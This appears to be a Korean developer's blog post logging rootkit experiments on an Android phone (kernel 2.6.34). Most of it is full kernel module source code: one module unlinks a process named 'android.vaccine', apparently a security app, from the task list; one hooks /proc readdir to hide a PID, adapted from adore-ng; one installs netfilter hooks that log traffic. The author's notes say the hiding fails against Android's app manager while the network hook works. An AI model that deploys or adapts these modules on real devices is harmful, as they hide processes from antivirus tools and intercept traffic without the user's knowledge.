앞전의 안드로이드 리눅스커널 2.6.34 버전의 LG 폰에 구축한 개발환경상에서 몇가지 루트킷 테스트를 해보았는데...
* 참고로 adb push 로 파일을 넣을때 system 소유자에게 w 권한이 있는폴더에 넣어야함 /data 가 있음.
* 다른 부분에 대해서는 rw 속성으로 remount 하는게 잘 안되는데 뭔가 귀찮아서 넘어감
1. 프로세스를 숨겨서 앱 숨기기
- task_struct 리스트 변조
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/jiffies.h>
#include <linux/sched.h>
static int __init initLKL(void){
struct task_struct* p;
struct task_struct* p_prev;
struct task_struct* p_next;
for_each_process(p)
{
printk("%s, prev : %p, next : %p\n",p->comm, p->tasks.prev, p->tasks.next);
if( !strcmp(p->comm, "android.vaccine") ){
printk("task found!!\n");
if(p->tasks.prev != p->tasks.next){
printk("original p->tasks.prev->next : %p\n", p->tasks.prev->next );
p->tasks.prev->next = p->tasks.next;
printk("manipulated p->tasks.prev->next : %p\n", p->tasks.prev->next );
printk("original p->tasks.next->prev : %p\n", p->tasks.next->prev);
p->tasks.next->prev = p->tasks.prev;
printk("manipulated p->tasks.next->prev : %p\n", p->tasks.next->prev);
}
printk("process android.vaccine is hided\n");
}
}
return 0;
}
//when unloading module restore idt table
static void __exit exitLKL(void)
{
printk("module END\n");
}
module_init( initLKL );
module_exit( exitLKL );
- VFS /proc 엔트리에서 pid 리스팅제거
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#define HIDEPID 4684
struct file_operations fake_fs;
struct file_operations *ori_fs;
typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t orig_readdir=0;
filldir_t proc_filldir = 0;
/*Convert string to integer. Strip non-integer characters. Courtesy
adore-ng*/
int adore_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
int my_proc_filldir (void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
/*If name is equal to our pid, then we return 0. This way,
our pid isn't visible*/
if(adore_atoi(name)==HIDEPID)
{
return 0;
}
/*Otherwise, call original filldir*/
return proc_filldir(buf, name, nlen, off, ino, x);
}
int my_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r=0;
printk("my readdir called\n");
proc_filldir = filldir;
/*invoke orig_proc_readdir with my_proc_filldir*/
r=orig_readdir(fp,buf,my_proc_filldir);
return r;
}
struct inode *node;
static void process_code(char *filename){
struct file *file;
mm_segment_t old_fs = get_fs();
set_fs(KERNEL_DS);
file = filp_open(filename, O_RDONLY,0);
printk("file : %d\n", file);
node = file->f_dentry->d_inode;
printk("inode : %p\n", node);
printk("original f_iop : %p\n", node->i_fop);
ori_fs = node->i_fop;
orig_readdir = ori_fs->readdir;
memcpy( &fake_fs, ori_fs, sizeof(struct file_operations) );
fake_fs.readdir = my_readdir;
node->i_fop = &fake_fs;
printk("fake f_iop : %p\n", node->i_fop);
printk("file size : %p\n", node->i_size);
set_fs(old_fs);
}
static int __init init(void){
process_code("/proc");
printk("hook ok?\n");
return 0;
}
static void __exit exit(void){
printk("restore...\n");
node->i_fop = ori_fs;
printk("end\n");
}
MODULE_LICENSE("GPL");
module_init(init);
module_exit(exit);
두가지를 다 해봐도 타겟 App 은 작업관리자 류 프로그램에서 잘만 나타난다 -_-
VFS 에서 숨기는것은 당연하겠지만 ps 명령상에서는 숨겨지지만 안드로이드상에서는 전혀 영향안받음...
결론. 커널 자료구조와 /proc 에 있는 정보 이외에 안드로이드 시스템에 자체적으로
실행중인 앱들에 대한 정보가 보관되는것 같다.
- netfilter 로 네트워크 후킹
#include <linux/mm.h>
#include <linux/init.h>
#include <asm/io.h>
#include <linux/unistd.h>
#include <linux/types.h>
#include <linux/fcntl.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/inetdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/tcp.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/in.h>
#include <linux/fs.h>
#include <linux/random.h>
#define MAJOR_NUMBER 123
#define MAXBUFFER 8192
#define BUCKET 128
#define MAX_TABLE_ENTRY 128
#define DNSPORT 53
#define MAGIC_num 0xDF
#define TPROXY_INIT _IO(MAGIC_num,0)
#define TPROXY_GRANT _IOWR(MAGIC_num, 1, unsigned int)
#define MAXNR 1
#pragma pack(1)
struct pseudohdr{
unsigned int sip;
unsigned int dip;
unsigned short protocol;
unsigned short len;
};
#pragma pack()
struct srcinfo{
unsigned short id;
unsigned short port;
};
unsigned short in_cksum(u_short *addr, int len){
int sum=0;
int nleft=len;
u_short *w=addr;
u_short answer=0;
while (nleft > 1){
sum += *w++;
nleft -= 2;
}
if (nleft == 1){
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void PrintIP(unsigned int n){
printk("%d.%d.%d.%d", (int)(n)&0xFF, (int)(n>>8)&0xFF, (int)(n>>16)&0xFF, (int)(n>>24)&0xFF);
}
static int tp_open( struct inode *inode, struct file *filp ){
printk( "tproxy firewall control opened\n" );
return 0;
}
static int tp_release( struct inode *inode, struct file *filp ){
printk( "tproxy firewall control released\n" );
return 0;
}
static ssize_t tp_write( struct file *filp, const char *buf, size_t count, loff_t *f_pos ){
return 0;
}
static ssize_t tp_read( struct file *filp, char *buf, size_t count, loff_t *f_pos ){
return 0;
}
static struct file_operations tproxy_fops = {
.read = tp_read,
.write = tp_write,
.open = tp_open,
.release = tp_release
};
void dump(unsigned char* p, int len){
printk("dump>");
int i;
for(i=0; i<len; i++){
printk( "%02X ", (unsigned int)p[i] );
}
printk("<dump\n");
}
unsigned int tproxy_prehook(unsigned int hooknum,
struct sk_buff* skb,
const struct net_device* in,
const struct net_device* out,
int (*okfn)(struct sk_buff*))
{
if(skb==NULL){
printk("skb is null\n");
return NF_ACCEPT;
}
struct iphdr* iph = ip_hdr(skb);
struct udphdr* udph = (struct udphdr*)((unsigned char*)iph+20);
unsigned short* pdns_id = (unsigned short*)((unsigned char*)iph+28); // dns identification.
// for UDP pseudo header
struct pseudohdr pshdr;
unsigned char* tmp;
int i=0;
switch( ntohs(skb->protocol) ){
case 0x0800: // IP
if(iph==NULL){
printk("iph is null\n");
break;
}
printk("[pre]IP ");
PrintIP( iph->saddr );
printk(" to ");
PrintIP( iph->daddr );
printk("\n");
switch(iph->protocol){
case IPPROTO_UDP:
printk("[pre]this is UDP %x -> %x\n", udph->source, udph->dest);
break;
default:
break;
}
break;
default:
break;
}
return NF_ACCEPT;
}
unsigned int tproxy_posthook(unsigned int hooknum,
struct sk_buff* skb,
const struct net_device* in,
const struct net_device* out,
int (*okfn)(struct sk_buff*))
{
if(skb==NULL) return NF_ACCEPT;
struct iphdr* iph = ip_hdr(skb);
struct udphdr* udph = (struct udphdr*)((unsigned char*)iph+20);
unsigned short* pdns_id = (unsigned short*)((unsigned char*)iph+28); // dns identification.
// for UDP pseudo header
struct pseudohdr pshdr;
unsigned char* tmp;
switch( ntohs(skb->protocol) ){
case 0x0800: // IP
if(iph==NULL){
printk("iph is null\n");
break;
}
printk("[post]IP ");
PrintIP( iph->saddr );
printk(" to ");
PrintIP( iph->daddr );
printk("\n");
switch(iph->protocol){
case IPPROTO_UDP:
printk("[post]this is UDP %x -> %x\n", udph->source, udph->dest);
break;
default:
break;
}
break;
default:
break;
}
return NF_ACCEPT;
}
static struct nf_hook_ops tproxy_ops_pre;
static struct nf_hook_ops tproxy_ops_post;
int my_init(void)
{
int r;
printk("hello android!!\n");
if( (r=register_chrdev( MAJOR_NUMBER, "tproxy_dns", &tproxy_fops )) >= 0)
printk("register_chrdev OK\n");
else
printk("register_chrdev FAILED %x\n", r);
tproxy_ops_pre.hook = tproxy_prehook;
tproxy_ops_pre.pf = PF_INET;
tproxy_ops_pre.hooknum = NF_INET_PRE_ROUTING;
tproxy_ops_pre.priority = INT_MIN;
r = nf_register_hook( &tproxy_ops_pre );
printk("nf_register_hook prerouting %x\n", r);
tproxy_ops_post.hook = tproxy_posthook;
tproxy_ops_post.pf = PF_INET;
tproxy_ops_post.hooknum = NF_INET_POST_ROUTING;
tproxy_ops_post.priority = INT_MAX;
r = nf_register_hook( &tproxy_ops_post );
printk("nf_register_hook postrouting %x\n", r);
return 0;
}
void my_exit(void)
{
int r;
nf_unregister_hook( &tproxy_ops_pre );
printk("unhook prehook chain %x \n", r);
nf_unregister_hook( &tproxy_ops_post );
printk("unhook posthook chain %x\n", r);
unregister_chrdev( MAJOR_NUMBER, "tproxy_dns" );
printk("unregister tproxy_dns ok. BYE.\n");
printk("module unloaded\n ");
}
module_init(my_init);
module_exit(my_exit);
이건 잘됨.
단지 ARM 에서의 Byte Ordering 때문에 삽질이 좀 있던거같은데
그부분을 조심해야할듯...